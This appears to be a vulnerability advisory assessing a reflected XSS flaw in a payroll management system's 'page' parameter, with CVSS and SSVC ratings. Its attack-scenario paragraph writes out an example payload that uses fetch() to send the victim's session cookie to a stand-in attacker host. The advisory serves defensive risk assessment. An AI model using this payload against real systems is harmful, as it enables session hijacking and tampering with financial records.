Payroll Management System EUVD-2026-16195

This vulnerability represents a moderate real-world risk despite the CVSS v4.0 score of 5.3. Multiple exploitation signals confirm active concern: publicly available exploit code exists (POC status confirmed), CISA SSVC framework rates this as exploitable with partial automatable impact, and the attack vector is network-based requiring no authentication (PR:N in CVSS vector) with low user interaction complexity (UI:P). The integrity impact is marked as low (VI:L) rather than high, which explains the moderate CVSS rating. The absence of KEV (CISA Known Exploited Vulnerabilities) listing does not indicate low risk-rather, public POC availability combined with simple exploitation mechanics (URL manipulation) and the widespread deployment of payroll systems in business environments elevates practical risk. SSVC's 'partial technical impact' reflects that XSS can compromise user sessions, inject credential theft payloads, or deface application content, all critical in financial systems. Automatable:no indicates that sophisticated exploitation logic is required, but the core attack (crafting a malicious URL) is trivial.

An attacker crafts a malicious URL containing JavaScript payload in the 'page' parameter (e.g., /index.php?page=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and sends it to a payroll system user via phishing email or social engineering. When the victim clicks the link and is already authenticated to the payroll application, the injected script executes in their browser with the privileges of their session, allowing the attacker to steal session tokens, redirect the user to a fake login page to harvest credentials, or modify payroll records. Because no authentication is required for the vulnerability itself (only for accessing sensitive payroll data afterward), and the attack vector is purely network-based with minimal interaction complexity (a single click), exploitation is feasible at scale.